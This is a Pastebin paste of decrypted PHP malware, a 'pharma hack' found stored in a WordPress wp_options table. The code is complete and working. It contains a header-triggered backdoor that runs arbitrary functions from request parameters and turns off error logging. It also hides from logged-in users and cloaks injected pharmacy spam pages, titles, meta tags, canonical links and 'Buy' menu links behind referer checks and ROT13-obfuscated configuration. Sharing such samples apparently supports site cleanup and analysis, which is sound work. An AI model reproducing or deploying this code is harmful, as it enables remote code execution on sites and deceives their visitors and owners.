Guest User

Decrypted Pharma Hack in default_titles wp_options table

a guest
Jul 2nd, 2015
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.60 KB | None | 0 0
  1. if(!function_exists('getc1') and !function_exists('show_content')) {
  2.     nocache_headers();
  3.  
  4.     @ini_set('display_errors',  NULL);
  5.     @ini_set('error_reporting', NULL);
  6.     @ini_set('log_errors',      NULL);
  7.    
  8.     if(@md5($_SERVER['HTTP_PATH'])==="7a05a69b17d1a1513cd39c10ebfdeb71") {
  9.         @extract($_REQUEST); @die($cid($eid));
  10.     }
  11.    
  12.     if(is_user_logged_in())
  13.         return false;
  14.  
  15.     function getc1($url, $content = '') {
  16.         @ini_set('default_socket_timeout', 2);
  17.         @stream_set_timeout($fp, 2);
  18.  
  19.         if(function_exists('wp_remote_get')) {
  20.             $request = @wp_remote_get($url, array('timeout'=>2));
  21.             if(!is_wp_error($request)) return $request['body'];
  22.         }
  23.  
  24.         if(ini_get('allow_url_fopen')==1&&function_exists('file_get_contents'))
  25.             if(false !==($content=@file_get_contents($url))) return $content;
  26.         return false;
  27.     }
  28.  
  29.     function ourUrlAndReferer() {
  30.         $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  31.         if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash'])) {
  32.             if (empty($_SERVER['HTTP_REFERER']) && $conf['404']) {
  33.                 global $wp_query;
  34.                 $wp_query->set_404();
  35.                 header('HTTP/1.0 404 Not Found');              
  36.                 return false;                  
  37.             } else if (!$conf['404'] || (!empty($_SERVER['HTTP_REFERER']) && $conf['404'])) {
  38.                 return true;
  39.             }
  40.         } else {
  41.             return false;
  42.         }
  43.     }
  44.     function check() {
  45.         return true;
  46.     }
  47.     function theme_name_wp_title($title, $sep) {
  48.         if (ourUrlAndReferer()) {
  49.             $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  50.             //print $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"];
  51.             $title =  $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"]." - ".$title;
  52.         }
  53.         return $title;
  54.     }
  55.     function show_content($content) {
  56.         if (ourUrlAndReferer()  && !is_admin()) {
  57.             $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  58.             //var_dump($conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"]);
  59.             $content = "<h1>".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["table_title"]."</h1>\n".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"];
  60.             //print $content;
  61.             //var_dump($page_content);
  62.         } else if (isset($_REQUEST["check"])) {
  63.             $content .= "<!-- check -->";
  64.         }
  65.         return $content;
  66.     }
  67.    
  68.     function changeHead() {
  69.         global $post;
  70.  
  71.         if (ourUrlAndReferer()) {
  72.             $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  73.             echo '<meta name="description" content="'.$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"].'" />' . "\n";
  74.             echo "<link rel='canonical' href='".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"]."' />\n";           
  75.         }      
  76.     }
  77.  
  78.     function my_404_override() {
  79.         global $wp_query, $wpdb;
  80.         $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  81.         if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash']) && ((!empty($_SERVER['HTTP_REFERER']) && $conf['404']) || !$conf['404'])) {
  82.             status_header(200);
  83.             $wp_query->is_404 = false;
  84.         }
  85.     }
  86.  
  87.     function add_todaysdate_in_menu($items) {
  88.         if (ourUrlAndReferer()) {
  89.             $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  90.             $links ="";
  91.             foreach ($conf["urls"] as $t => $url) {
  92.                 $links .= "<li><a href=\"".$url."\">Buy $t</a></li>\n";
  93.             }
  94.             $items = str_replace("</ul></div>", $links."</ul></div>", $items);
  95.         }
  96.    
  97.  
  98.         return $items;
  99.     }
  100.    
  101.     function before_posts($query) {
  102.         if (ourUrlAndReferer() && $query->is_main_query() && !is_admin()) {
  103.             $page = "";
  104.             $args = array(
  105.                 'sort_order' => 'ASC',
  106.                 'sort_column' => 'post_date',
  107.                 'hierarchical' => 1,
  108.                 'exclude' => '',
  109.                 'include' => '',
  110.                 'meta_key' => '',
  111.                 'meta_value' => '',
  112.                 'authors' => '',
  113.                 'child_of' => 0,
  114.                 'parent' => -1,
  115.                 'exclude_tree' => '',
  116.                 'number' => 2,
  117.                 'offset' => 0,
  118.                 'post_type' => 'page',
  119.                 'post_status' => 'publish'
  120.             );
  121.             $pages = get_pages($args);
  122.             foreach ($pages as $page1) {
  123.                 if ($page1->ID == get_option('page_on_front'))
  124.                     continue;
  125.                 $page = $page1;
  126.                 break;
  127.  
  128.              }
  129.             //var_dump($page);
  130.             $query->set('post_type',    $page->post_type);
  131.             $query->set('page_id',      $page->ID);
  132.         }
  133.     }
  134.     //add_action('pre_get_posts', 'before_posts' );
  135.     add_filter('template_redirect', 'my_404_override');
  136.     add_filter('wp_title', 'theme_name_wp_title', 100);
  137.     add_action('wp_head', 'changeHead');
  138.     add_filter('wp_nav_menu','add_todaysdate_in_menu');
  139.     add_filter('wp_page_menu','add_todaysdate_in_menu');
  140.     add_filter('the_content','show_content');
  141.    
  142.  
  143.     //yoast SEO
  144.     add_filter('wpseo_title',       'theme_name_wp_title');
  145.     add_filter('wpseo_canonical',   'yoast_canonical');
  146.     add_filter('wpseo_metakey',     'yoast_add_keywords', 10, 1 );
  147.     add_filter('get_the_excerpt',   'excerpt_filter');
  148.  
  149.     function yoast_add_keywords($str) {
  150.         if (!ourUrlAndReferer())
  151.             return $str;
  152.         $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  153.         return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
  154.     }
  155.  
  156.  
  157.  
  158.     function excerpt_filter($content) {
  159.         if (!ourUrlAndReferer())
  160.             return $content;
  161.         $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  162.         return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
  163.     }
  164.  
  165.     function yoast_canonical() {
  166.         if (!ourUrlAndReferer())
  167.             return true;
  168.         $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
  169.         return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"];         
  170.     }
  171. }
Add Comment
Please, Sign In to add comment